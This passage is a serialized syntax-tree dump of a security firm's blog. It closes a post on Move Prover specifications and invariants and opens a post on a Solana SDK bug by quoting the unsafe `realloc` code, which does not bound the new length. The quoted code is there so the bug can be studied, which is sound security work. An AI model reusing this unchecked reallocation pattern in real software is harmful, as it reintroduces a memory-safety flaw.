spec_multiply_u64",{"type":23,"tag":213,"props":12707,"children":12708},{"style":220},[12709],{"type":28,"value":265},{"type":23,"tag":213,"props":12711,"children":12712},{"style":268},[12713],{"type":28,"value":12714},"val",{"type":23,"tag":213,"props":12716,"children":12717},{"style":220},[12718],{"type":28,"value":424},{"type":23,"tag":213,"props":12720,"children":12721},{"style":268},[12722],{"type":28,"value":12723},"multiplier",{"type":23,"tag":213,"props":12725,"children":12726},{"style":220},[12727],{"type":28,"value":12728},") > MAX_U64 ",{"type":23,"tag":213,"props":12730,"children":12731},{"style":268},[12732],{"type":28,"value":12733},"with",{"type":23,"tag":213,"props":12735,"children":12736},{"style":220},[12737],{"type":28,"value":12738}," EMULTIPLICATION;\n",{"type":23,"tag":213,"props":12740,"children":12741},{"class":215,"line":543},[12742],{"type":23,"tag":213,"props":12743,"children":12744},{"style":220},[12745],{"type":28,"value":12746}," }\n",{"type":23,"tag":213,"props":12748,"children":12749},{"class":215,"line":551},[12750,12754,12758,12762,12766,12770,12774,12778,12782,12786,12790,12794,12798,12802,12806],{"type":23,"tag":213,"props":12751,"children":12752},{"style":268},[12753],{"type":28,"value":9013},{"type":23,"tag":213,"props":12755,"children":12756},{"style":268},[12757],{"type":28,"value":6299},{"type":23,"tag":213,"props":12759,"children":12760},{"style":257},[12761],{"type":28,"value":12705},{"type":23,"tag":213,"props":12763,"children":12764},{"style":220},[12765],{"type":28,"value":265},{"type":23,"tag":213,"props":12767,"children":12768},{"style":268},[12769],{"type":28,"value":12714},{"type":23,"tag":213,"props":12771,"children":12772},{"style":274},[12773],{"type":28,"value":277},{"type":23,"tag":213,"props":12775,"children":12776},{"style":268},[12777],{"type":28,"value":9816},{"type":23,"tag":213,"props":12779,"children":12780},{"style":220},[12781],{"type":28,"value":424},{"type":23,"tag":213,"props":12783,"children":12784},{"style":268},[12785],{"type":28,"value":12723},{"type":23,"tag":213,"props":12787,"children":12788},{"style":274},[12789],{"type":28,"value":277},{"type":23,"tag":213,"props":12791,"children":12792},{"style":290},[12793],{"type":28,"value":12688},{"type":23,"tag":213,"props":12795,"children":12796},{"style":220},[12797],{"type":28,"value":2121},{"type":23,"tag":213,"props":12799,"children":12800},{"style":274},[12801],{"type":28,"value":277},{"type":23,"tag":213,"props":12803,"children":12804},{"style":268},[12805],{"type":28,"value":9816},{"type":23,"tag":213,"props":12807,"children":12808},{"style":220},[12809],{"type":28,"value":1375},{"type":23,"tag":213,"props":12811,"children":12812},{"class":215,"line":570},[12813,12817,12821,12825,12830,12834,12839,12844],{"type":23,"tag":213,"props":12814,"children":12815},{"style":220},[12816],{"type":28,"value":8795},{"type":23,"tag":213,"props":12818,"children":12819},{"style":268},[12820],{"type":28,"value":12714},{"type":23,"tag":213,"props":12822,"children":12823},{"style":274},[12824],{"type":28,"value":282},{"type":23,"tag":213,"props":12826,"children":12827},{"style":268},[12828],{"type":28,"value":12829}," multiplier",{"type":23,"tag":213,"props":12831,"children":12832},{"style":274},[12833],{"type":28,"value":124},{"type":23,"tag":213,"props":12835,"children":12836},{"style":220},[12837],{"type":28,"value":12838},"value) ",{"type":23,"tag":213,"props":12840,"children":12841},{"style":274},[12842],{"type":28,"value":12843},">>",{"type":23,"tag":213,"props":12845,"children":12846},{"style":514},[12847],{"type":28,"value":12848}," 32\n",{"type":23,"tag":213,"props":12850,"children":12851},{"class":215,"line":655},[12852],{"type":23,"tag":213,"props":12853,"children":12854},{"style":220},[12855],{"type":28,"value":12746},{"type":23,"tag":9693,"props":12857,"children":12859},{"id":12858},"access-control-policies",[12860],{"type":28,"value":12861},"Access Control Policies",{"type":23,"tag":24,"props":12863,"children":12864},{},[12865],{"type":28,"value":12866},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":23,"tag":24,"props":12868,"children":12869},{},[12870,12872,12878,12880,12885],{"type":28,"value":12871},"For example, in ",{"type":23,"tag":209,"props":12873,"children":12875},{"className":12874},[],[12876],{"type":28,"value":12877},"std::offer",{"type":28,"value":12879}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":23,"tag":87,"props":12881,"children":12882},{},[12883],{"type":28,"value":12884},"or",{"type":28,"value":12886}," the recipient is now allowed.",{"type":23,"tag":202,"props":12888,"children":12890},{"code":12889,"language":205,"meta":7,"className":206,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[12891],{"type":23,"tag":209,"props":12892,"children":12893},{"__ignoreMap":7},[12894,12911,12919,12927,12935,12981,13038,13081,13147],{"type":23,"tag":213,"props":12895,"children":12896},{"class":215,"line":216},[12897,12902,12907],{"type":23,"tag":213,"props":12898,"children":12899},{"style":268},[12900],{"type":28,"value":12901}," spec",{"type":23,"tag":213,"props":12903,"children":12904},{"style":268},[12905],{"type":28,"value":12906}," redeem",{"type":23,"tag":213,"props":12908,"children":12909},{"style":220},[12910],{"type":28,"value":1375},{"type":23,"tag":213,"props":12912,"children":12913},{"class":215,"line":226},[12914],{"type":23,"tag":213,"props":12915,"children":12916},{"style":537},[12917],{"type":28,"value":12918}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":23,"tag":213,"props":12920,"children":12921},{"class":215,"line":524},[12922],{"type":23,"tag":213,"props":12923,"children":12924},{"style":537},[12925],{"type":28,"value":12926}," /// cannot redeem the offer.\n",{"type":23,"tag":213,"props":12928,"children":12929},{"class":215,"line":533},[12930],{"type":23,"tag":213,"props":12931,"children":12932},{"style":537},[12933],{"type":28,"value":12934}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":23,"tag":213,"props":12936,"children":12937},{"class":215,"line":543},[12938,12942,12946,12950,12954,12959,12963,12968,12972,12977],{"type":23,"tag":213,"props":12939,"children":12940},{"style":268},[12941],{"type":28,"value":9138},{"type":23,"tag":213,"props":12943,"children":12944},{"style":274},[12945],{"type":28,"value":2658},{"type":23,"tag":213,"props":12947,"children":12948},{"style":268},[12949],{"type":28,"value":6797},{"type":23,"tag":213,"props":12951,"children":12952},{"style":220},[12953],{"type":28,"value":434},{"type":23,"tag":213,"props":12955,"children":12956},{"style":290},[12957],{"type":28,"value":12958},"Offer",{"type":23,"tag":213,"props":12960,"children":12961},{"style":220},[12962],{"type":28,"value":434},{"type":23,"tag":213,"props":12964,"children":12965},{"style":290},[12966],{"type":28,"value":12967},"Offered",{"type":23,"tag":213,"props":12969,"children":12970},{"style":220},[12971],{"type":28,"value":6819},{"type":23,"tag":213,"props":12973,"children":12974},{"style":268},[12975],{"type":28,"value":12976},"offer_address",{"type":23,"tag":213,"props":12978,"children":12979},{"style":220},[12980],{"type":28,"value":2867},{"type":23,"tag":213,"props":12982,"children":12983},{"class":215,"line":551},[12984,12988,12992,12997,13001,13005,13009,13013,13018,13022,13026,13030,13034],{"type":23,"tag":213,"props":12985,"children":12986},{"style":268},[12987],{"type":28,"value":9138},{"type":23,"tag":213,"props":12989,"children":12990},{"style":274},[12991],{"type":28,"value":2658},{"type":23,"tag":213,"props":12993,"children":12994},{"style":268},[12995],{"type":28,"value":12996},"is_allowed_recipient",{"type":23,"tag":213,"props":12998,"children":12999},{"style":220},[13000],{"type":28,"value":434},{"type":23,"tag":213,"props":13002,"children":13003},{"style":290},[13004],{"type":28,"value":12967},{"type":23,"tag":213,"props":13006,"children":13007},{"style":220},[13008],{"type":28,"value":367},{"type":23,"tag":213,"props":13010,"children":13011},{"style":268},[13012],{"type":28,"value":12976},{"type":23,"tag":213,"props":13014,"children":13015},{"style":220},[13016],{"type":28,"value":13017},", signer",{"type":23,"tag":213,"props":13019,"children":13020},{"style":274},[13021],{"type":28,"value":562},{"type":23,"tag":213,"props":13023,"children":13024},{"style":257},[13025],{"type":28,"value":7299},{"type":23,"tag":213,"props":13027,"children":13028},{"style":220},[13029],{"type":28,"value":265},{"type":23,"tag":213,"props":13031,"children":13032},{"style":268},[13033],{"type":28,"value":91},{"type":23,"tag":213,"props":13035,"children":13036},{"style":220},[13037],{"type":28,"value":7313},{"type":23,"tag":213,"props":13039,"children":13040},{"class":215,"line":570},[13041,13045,13049,13053,13057,13061,13065,13069,13073,13077],{"type":23,"tag":213,"props":13042,"children":13043},{"style":268},[13044],{"type":28,"value":8273},{"type":23,"tag":213,"props":13046,"children":13047},{"style":274},[13048],{"type":28,"value":2658},{"type":23,"tag":213,"props":13050,"children":13051},{"style":268},[13052],{"type":28,"value":6797},{"type":23,"tag":213,"props":13054,"children":13055},{"style":220},[13056],{"type":28,"value":434},{"type":23,"tag":213,"props":13058,"children":13059},{"style":290},[13060],{"type":28,"value":12958},{"type":23,"tag":213,"props":13062,"children":13063},{"style":220},[13064],{"type":28,"value":434},{"type":23,"tag":213,"props":13066,"children":13067},{"style":290},[13068],{"type":28,"value":12967},{"type":23,"tag":213,"props":13070,"children":13071},{"style":220},[13072],{"type":28,"value":6819},{"type":23,"tag":213,"props":13074,"children":13075},{"style":268},[13076],{"type":28,"value":12976},{"type":23,"tag":213,"props":13078,"children":13079},{"style":220},[13080],{"type":28,"value":2867},{"type":23,"tag":213,"props":13082,"children":13083},{"class":215,"line":655},[13084,13088,13092,13096,13101,13105,13110,13114,13118,13122,13126,13130,13134,13138,13142],{"type":23,"tag":213,"props":13085,"children":13086},{"style":268},[13087],{"type":28,"value":8273},{"type":23,"tag":213,"props":13089,"children":13090},{"style":268},[13091],{"type":28,"value":9246},{"type":23,"tag":213,"props":13093,"children":13094},{"style":274},[13095],{"type":28,"value":3379},{"type":23,"tag":213,"props":13097,"children":13098},{"style":257},[13099],{"type":28,"value":13100}," old",{"type":23,"tag":213,"props":13102,"children":13103},{"style":220},[13104],{"type":28,"value":265},{"type":23,"tag":213,"props":13106,"children":13107},{"style":268},[13108],{"type":28,"value":13109},"global",{"type":23,"tag":213,"props":13111,"children":13112},{"style":220},[13113],{"type":28,"value":434},{"type":23,"tag":213,"props":13115,"children":13116},{"style":290},[13117],{"type":28,"value":12958},{"type":23,"tag":213,"props":13119,"children":13120},{"style":220},[13121],{"type":28,"value":434},{"type":23,"tag":213,"props":13123,"children":13124},{"style":290},[13125],{"type":28,"value":12967},{"type":23,"tag":213,"props":13127,"children":13128},{"style":220},[13129],{"type":28,"value":6819},{"type":23,"tag":213,"props":13131,"children":13132},{"style":268},[13133],{"type":28,"value":12976},{"type":23,"tag":213,"props":13135,"children":13136},{"style":220},[13137],{"type":28,"value":2121},{"type":23,"tag":213,"props":13139,"children":13140},{"style":274},[13141],{"type":28,"value":124},{"type":23,"tag":213,"props":13143,"children":13144},{"style":220},[13145],{"type":28,"value":13146},"offered);\n",{"type":23,"tag":213,"props":13148,"children":13149},{"class":215,"line":1176},[13150],{"type":23,"tag":213,"props":13151,"children":13152},{"style":220},[13153],{"type":28,"value":2875},{"type":23,"tag":24,"props":13155,"children":13156},{},[13157],{"type":28,"value":13158},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":23,"tag":9693,"props":13160,"children":13162},{"id":13161},"complex-mathematical-formulae",[13163],{"type":28,"value":13164},"Complex Mathematical Formulae",{"type":23,"tag":24,"props":13166,"children":13167},{},[13168,13170,13175],{"type":28,"value":13169},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":23,"tag":87,"props":13171,"children":13172},{},[13173],{"type":28,"value":13174},"always",{"type":28,"value":13176}," the output.",{"type":23,"tag":24,"props":13178,"children":13179},{},[13180],{"type":28,"value":13181},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":23,"tag":24,"props":13183,"children":13184},{},[13185,13187,13194],{"type":28,"value":13186},"For example, in our work with ",{"type":23,"tag":36,"props":13188,"children":13191},{"href":13189,"rel":13190},"https://laminar.markets/",[40],[13192],{"type":28,"value":13193},"Laminar Markets",{"type":28,"value":13195},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":23,"tag":9693,"props":13197,"children":13199},{"id":13198},"data-invariants",[13200],{"type":28,"value":13201},"Data Invariants",{"type":23,"tag":24,"props":13203,"children":13204},{},[13205,13207,13213,13214,13220,13222,13228,13230,13236],{"type":28,"value":13206},"Formal verification provides the best environment to verify that certain ",{"type":23,"tag":209,"props":13208,"children":13210},{"className":13209},[],[13211],{"type":28,"value":13212},"variables",{"type":28,"value":108},{"type":23,"tag":209,"props":13215,"children":13217},{"className":13216},[],[13218],{"type":28,"value":13219},"resources",{"type":28,"value":13221}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":23,"tag":209,"props":13223,"children":13225},{"className":13224},[],[13226],{"type":28,"value":13227},"index",{"type":28,"value":13229}," is never greater than 4 using a ",{"type":23,"tag":209,"props":13231,"children":13233},{"className":13232},[],[13234],{"type":28,"value":13235},"struct invariant",{"type":28,"value":124},{"type":23,"tag":202,"props":13238,"children":13240},{"code":13239,"language":205,"meta":7,"className":206,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[13241],{"type":23,"tag":209,"props":13242,"children":13243},{"__ignoreMap":7},[13244,13260,13277,13284,13291,13306,13330],{"type":23,"tag":213,"props":13245,"children":13246},{"class":215,"line":216},[13247,13251,13256],{"type":23,"tag":213,"props":13248,"children":13249},{"style":230},[13250],{"type":28,"value":9486},{"type":23,"tag":213,"props":13252,"children":13253},{"style":290},[13254],{"type":28,"value":13255}," Type",{"type":23,"tag":213,"props":13257,"children":13258},{"style":220},[13259],{"type":28,"value":1375},{"type":23,"tag":213,"props":13261,"children":13262},{"class":215,"line":226},[13263,13268,13272],{"type":23,"tag":213,"props":13264,"children":13265},{"style":268},[13266],{"type":28,"value":13267}," index",{"type":23,"tag":213,"props":13269,"children":13270},{"style":274},[13271],{"type":28,"value":277},{"type":23,"tag":213,"props":13273,"children":13274},{"style":290},[13275],{"type":28,"value":13276}," u64\n",{"type":23,"tag":213,"props":13278,"children":13279},{"class":215,"line":524},[13280],{"type":23,"tag":213,"props":13281,"children":13282},{"style":220},[13283],{"type":28,"value":1208},{"type":23,"tag":213,"props":13285,"children":13286},{"class":215,"line":533},[13287],{"type":23,"tag":213,"props":13288,"children":13289},{"emptyLinePlaceholder":18},[13290],{"type":28,"value":530},{"type":23,"tag":213,"props":13292,"children":13293},{"class":215,"line":543},[13294,13298,13302],{"type":23,"tag":213,"props":13295,"children":13296},{"style":268},[13297],{"type":28,"value":8361},{"type":23,"tag":213,"props":13299,"children":13300},{"style":290},[13301],{"type":28,"value":13255},{"type":23,"tag":213,"props":13303,"children":13304},{"style":220},[13305],{"type":28,"value":1375},{"type":23,"tag":213,"props":13307,"children":13308},{"class":215,"line":551},[13309,13313,13318,13322,13326],{"type":23,"tag":213,"props":13310,"children":13311},{"style":268},[13312],{"type":28,"value":8378},{"type":23,"tag":213,"props":13314,"children":13315},{"style":268},[13316],{"type":28,"value":13317}," index",{"type":23,"tag":213,"props":13319,"children":13320},{"style":274},[13321],{"type":28,"value":8804},{"type":23,"tag":213,"props":13323,"children":13324},{"style":514},[13325],{"type":28,"value":11829},{"type":23,"tag":213,"props":13327,"children":13328},{"style":220},[13329],{"type":28,"value":313},{"type":23,"tag":213,"props":13331,"children":13332},{"class":215,"line":570},[13333],{"type":23,"tag":213,"props":13334,"children":13335},{"style":220},[13336],{"type":28,"value":1208},{"type":23,"tag":24,"props":13338,"children":13339},{},[13340,13342,13349,13350,13356],{"type":28,"value":13341},"We were able to verify more complex properties in our recent audits for ",{"type":23,"tag":36,"props":13343,"children":13346},{"href":13344,"rel":13345},"https://layerzero.network/",[40],[13347],{"type":28,"value":13348},"LayerZero",{"type":28,"value":1466},{"type":23,"tag":36,"props":13351,"children":13354},{"href":13352,"rel":13353},"http://ariesmarkets.xyz/",[40],[13355],{"type":28,"value":6882},{"type":28,"value":13357},", but the details are left as an exercise to the reader.",{"type":23,"tag":9693,"props":13359,"children":13361},{"id":13360},"economic-invariants",[13362],{"type":28,"value":13363},"Economic Invariants.",{"type":23,"tag":24,"props":13365,"children":13366},{},[13367],{"type":28,"value":13368},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":23,"tag":24,"props":13370,"children":13371},{},[13372],{"type":28,"value":13373},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":23,"tag":202,"props":13375,"children":13376},{"code":8055,"language":205,"meta":7,"className":206,"style":7},[13377],{"type":23,"tag":209,"props":13378,"children":13379},{"__ignoreMap":7},[13380,13387,13470,13509,13528,13535,13550,13573,13596,13619],{"type":23,"tag":213,"props":13381,"children":13382},{"class":215,"line":216},[13383],{"type":23,"tag":213,"props":13384,"children":13385},{"style":537},[13386],{"type":28,"value":8067},{"type":23,"tag":213,"props":13388,"children":13389},{"class":215,"line":226},[13390,13394,13398,13402,13406,13410,13414,13418,13422,13426,13430,13434,13438,13442,13446,13450,13454,13458,13462,13466],{"type":23,"tag":213,"props":13391,"children":13392},{"style":268},[13393],{"type":28,"value":6662},{"type":23,"tag":213,"props":13395,"children":13396},{"style":257},[13397],{"type":28,"value":8079},{"type":23,"tag":213,"props":13399,"children":13400},{"style":220},[13401],{"type":28,"value":265},{"type":23,"tag":213,"props":13403,"children":13404},{"style":268},[13405],{"type":28,"value":8088},{"type":23,"tag":213,"props":13407,"children":13408},{"style":274},[13409],{"type":28,"value":277},{"type":23,"tag":213,"props":13411,"children":13412},{"style":290},[13413],{"type":28,"value":308},{"type":23,"tag":213,"props":13415,"children":13416},{"style":220},[13417],{"type":28,"value":424},{"type":23,"tag":213,"props":13419,"children":13420},{"style":268},[13421],{"type":28,"value":8105},{"type":23,"tag":213,"props":13423,"children":13424},{"style":274},[13425],{"type":28,"value":277},{"type":23,"tag":213,"props":13427,"children":13428},{"style":290},[13429],{"type":28,"value":308},{"type":23,"tag":213,"props":13431,"children":13432},{"style":220},[13433],{"type":28,"value":2121},{"type":23,"tag":213,"props":13435,"children":13436},{"style":274},[13437],{"type":28,"value":277},{"type":23,"tag":213,"props":13439,"children":13440},{"style":220},[13441],{"type":28,"value":400},{"type":23,"tag":213,"props":13443,"children":13444},{"style":290},[13445],{"type":28,"value":684},{"type":23,"tag":213,"props":13447,"children":13448},{"style":220},[13449],{"type":28,"value":424},{"type":23,"tag":213,"props":13451,"children":13452},{"style":290},[13453],{"type":28,"value":684},{"type":23,"tag":213,"props":13455,"children":13456},{"style":220},[13457],{"type":28,"value":298},{"type":23,"tag":213,"props":13459,"children":13460},{"style":268},[13461],{"type":28,"value":6436},{"type":23,"tag":213,"props":13463,"children":13464},{"style":290},[13465],{"type":28,"value":8150},{"type":23,"tag":213,"props":13467,"children":13468},{"style":220},[13469],{"type":28,"value":1375},{"type":23,"tag":213,"props":13471,"children":13472},{"class":215,"line":524},[13473,13477,13481,13485,13489,13493,13497,13501,13505],{"type":23,"tag":213,"props":13474,"children":13475},{"style":230},[13476],{"type":28,"value":8162},{"type":23,"tag":213,"props":13478,"children":13479},{"style":268},[13480],{"type":28,"value":8167},{"type":23,"tag":213,"props":13482,"children":13483},{"style":274},[13484],{"type":28,"value":511},{"type":23,"tag":213,"props":13486,"children":13487},{"style":257},[13488],{"type":28,"value":8176},{"type":23,"tag":213,"props":13490,"children":13491},{"style":220},[13492],{"type":28,"value":265},{"type":23,"tag":213,"props":13494,"children":13495},{"style":268},[13496],{"type":28,"value":8088},{"type":23,"tag":213,"props":13498,"children":13499},{"style":220},[13500],{"type":28,"value":424},{"type":23,"tag":213,"props":13502,"children":13503},{"style":268},[13504],{"type":28,"value":8105},{"type":23,"tag":213,"props":13506,"children":13507},{"style":220},[13508],{"type":28,"value":2867},{"type":23,"tag":213,"props":13510,"children":13511},{"class":215,"line":533},[13512,13516,13520,13524],{"type":23,"tag":213,"props":13513,"children":13514},{"style":257},[13515],{"type":28,"value":8204},{"type":23,"tag":213,"props":13517,"children":13518},{"style":220},[13519],{"type":28,"value":265},{"type":23,"tag":213,"props":13521,"children":13522},{"style":268},[13523],{"type":28,"value":8213},{"type":23,"tag":213,"props":13525,"children":13526},{"style":220},[13527],{"type":28,"value":2183},{"type":23,"tag":213,"props":13529,"children":13530},{"class":215,"line":543},[13531],{"type":23,"tag":213,"props":13532,"children":13533},{"style":220},[13534],{"type":28,"value":5964},{"type":23,"tag":213,"props":13536,"children":13537},{"class":215,"line":551},[13538,13542,13546],{"type":23,"tag":213,"props":13539,"children":13540},{"style":268},[13541],{"type":28,"value":8232},{"type":23,"tag":213,"props":13543,"children":13544},{"style":268},[13545],{"type":28,"value":8079},{"type":23,"tag":213,"props":13547,"children":13548},{"style":220},[13549],{"type":28,"value":1375},{"type":23,"tag":213,"props":13551,"children":13552},{"class":215,"line":570},[13553,13557,13561,13565,13569],{"type":23,"tag":213,"props":13554,"children":13555},{"style":268},[13556],{"type":28,"value":8248},{"type":23,"tag":213,"props":13558,"children":13559},{"style":268},[13560],{"type":28,"value":8253},{"type":23,"tag":213,"props":13562,"children":13563},{"style":274},[13564],{"type":28,"value":3190},{"type":23,"tag":213,"props":13566,"children":13567},{"style":230},[13568],{"type":28,"value":2499},{"type":23,"tag":213,"props":13570,"children":13571},{"style":220},[13572],{"type":28,"value":313},{"type":23,"tag":213,"props":13574,"children":13575},{"class":215,"line":655},[13576,13580,13584,13588,13592],{"type":23,"tag":213,"props":13577,"children":13578},{"style":268},[13579],{"type":28,"value":8273},{"type":23,"tag":213,"props":13581,"children":13582},{"style":268},[13583],{"type":28,"value":8278},{"type":23,"tag":213,"props":13585,"children":13586},{"style":274},[13587],{"type":28,"value":8283},{"type":23,"tag":213,"props":13589,"children":13590},{"style":268},[13591],{"type":28,"value":8288},{"type":23,"tag":213,"props":13593,"children":13594},{"style":220},[13595],{"type":28,"value":313},{"type":23,"tag":213,"props":13597,"children":13598},{"class":215,"line":1176},[13599,13603,13607,13611,13615],{"type":23,"tag":213,"props":13600,"children":13601},{"style":268},[13602],{"type":28,"value":8273},{"type":23,"tag":213,"props":13604,"children":13605},{"style":268},[13606],{"type":28,"value":8304},{"type":23,"tag":213,"props":13608,"children":13609},{"style":274},[13610],{"type":28,"value":8283},{"type":23,"tag":213,"props":13612,"children":13613},{"style":268},[13614],{"type":28,"value":8313},{"type":23,"tag":213,"props":13616,"children":13617},{"style":220},[13618],{"type":28,"value":313},{"type":23,"tag":213,"props":13620,"children":13621},{"class":215,"line":1202},[13622],{"type":23,"tag":213,"props":13623,"children":13624},{"style":220},[13625],{"type":28,"value":5964},{"type":23,"tag":24,"props":13627,"children":13628},{},[13629],{"type":28,"value":13630},"Some other ideas include",{"type":23,"tag":131,"props":13632,"children":13633},{},[13634,13639,13644],{"type":23,"tag":135,"props":13635,"children":13636},{},[13637],{"type":28,"value":13638},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":23,"tag":135,"props":13640,"children":13641},{},[13642],{"type":28,"value":13643},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":23,"tag":135,"props":13645,"children":13646},{},[13647],{"type":28,"value":13648},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":23,"tag":47,"props":13650,"children":13651},{"id":2929},[13652],{"type":28,"value":2932},{"type":23,"tag":24,"props":13654,"children":13655},{},[13656],{"type":28,"value":13657},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":23,"tag":24,"props":13659,"children":13660},{},[13661],{"type":28,"value":13662},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":23,"tag":24,"props":13664,"children":13665},{},[13666,13668,13673],{"type":28,"value":13667},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":36,"props":13669,"children":13671},{"href":9328,"rel":13670},[40],[13672],{"type":28,"value":9332},{"type":28,"value":124},{"type":23,"tag":2957,"props":13675,"children":13676},{},[13677],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":13679},[13680,13681,13684,13691],{"id":9390,"depth":226,"text":9393},{"id":9444,"depth":226,"text":9447,"children":13682},[13683],{"id":9695,"depth":524,"text":9690},{"id":12591,"depth":226,"text":12594,"children":13685},[13686,13687,13688,13689,13690],{"id":12607,"depth":524,"text":12610},{"id":12858,"depth":524,"text":12861},{"id":13161,"depth":524,"text":13164},{"id":13198,"depth":524,"text":13201},{"id":13360,"depth":524,"text":13363},{"id":2929,"depth":226,"text":2932},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":13696,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":13697,"description":13698,"author":13699,"image":13700,"date":13704,"isFeatured":18,"onBlogPage":18,"tags":13705,"body":13706,"_type":2967,"_id":18794,"_source":2969,"_file":18795,"_stem":18796,"_extension":2972},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":13701,"height":13702,"width":13703},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[2984,17],{"type":20,"children":13707,"toc":18778},[13708,13736,13756,14420,14440,14451,14463,14596,14606,14612,14638,14970,15014,15335,15398,15411,15485,15553,15572,15585,15599,15941,15952,15957,16088,16139,16165,16177,16350,16486,16527,16564,16630,16635,16672,16726,16737,16880,16892,16898,16904,16937,16951,17073,17092,17120,17126,17216,17306,17312,17317,17364,17632,17707,17718,17745,18077,18089,18162,18435,18472,18774],{"type":23,"tag":24,"props":13709,"children":13710},{},[13711,13713,13719,13721,13726,13728,13734],{"type":28,"value":13712},"It all started with an audit of a program that used ",{"type":23,"tag":209,"props":13714,"children":13716},{"className":13715},[],[13717],{"type":28,"value":13718},"realloc",{"type":28,"value":13720}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":23,"tag":209,"props":13722,"children":13724},{"className":13723},[],[13725],{"type":28,"value":13718},{"type":28,"value":13727}," call (from ",{"type":23,"tag":209,"props":13729,"children":13731},{"className":13730},[],[13732],{"type":28,"value":13733},"solana_program",{"type":28,"value":13735},") would error out appropriately.",{"type":23,"tag":24,"props":13737,"children":13738},{},[13739,13741,13747,13748,13755],{"type":28,"value":13740},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":23,"tag":209,"props":13742,"children":13744},{"className":13743},[],[13745],{"type":28,"value":13746},"AccountInfo::realloc",{"type":28,"value":5594},{"type":23,"tag":36,"props":13749,"children":13752},{"href":13750,"rel":13751},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[40],[13753],{"type":28,"value":13754},"implemented",{"type":28,"value":277},{"type":23,"tag":202,"props":13757,"children":13759},{"className":206,"code":13758,"language":205,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n",[13760],{"type":23,"tag":209,"props":13761,"children":13762},{"__ignoreMap":7},[13763,13853,13887,13894,13902,13914,13922,14013,14046,14053,14061,14190,14221,14228,14235,14243,14277,14289,14338,14350,14379,14386,14393,14400,14413],{"type":23,"tag":213,"props":13764,"children":13765},{"class":215,"line":216},[13766,13770,13774,13779,13783,13787,13792,13796,13801,13805,13809,13813,13818,13822,13826,13830,13834,13839,13844,13849],{"type":23,"tag":213,"props":13767,"children":13768},{"style":230},[13769],{"type":28,"value":233},{"type":23,"tag":213,"props":13771,"children":13772},{"style":230},[13773],{"type":28,"value":254},{"type":23,"tag":213,"props":13775,"children":13776},{"style":257},[13777],{"type":28,"value":13778}," realloc",{"type":23,"tag":213,"props":13780,"children":13781},{"style":220},[13782],{"type":28,"value":265},{"type":23,"tag":213,"props":13784,"children":13785},{"style":274},[13786],{"type":28,"value":405},{"type":23,"tag":213,"props":13788,"children":13789},{"style":230},[13790],{"type":28,"value":13791},"self",{"type":23,"tag":213,"props":13793,"children":13794},{"style":220},[13795],{"type":28,"value":424},{"type":23,"tag":213,"props":13797,"children":13798},{"style":268},[13799],{"type":28,"value":13800},"new_len",{"type":23,"tag":213,"props":13802,"children":13803},{"style":274},[13804],{"type":28,"value":277},{"type":23,"tag":213,"props":13806,"children":13807},{"style":290},[13808],{"type":28,"value":506},{"type":23,"tag":213,"props":13810,"children":13811},{"style":220},[13812],{"type":28,"value":424},{"type":23,"tag":213,"props":13814,"children":13815},{"style":268},[13816],{"type":28,"value":13817},"zero_init",{"type":23,"tag":213,"props":13819,"children":13820},{"style":274},[13821],{"type":28,"value":277},{"type":23,"tag":213,"props":13823,"children":13824},{"style":290},[13825],{"type":28,"value":965},{"type":23,"tag":213,"props":13827,"children":13828},{"style":220},[13829],{"type":28,"value":298},{"type":23,"tag":213,"props":13831,"children":13832},{"style":274},[13833],{"type":28,"value":303},{"type":23,"tag":213,"props":13835,"children":1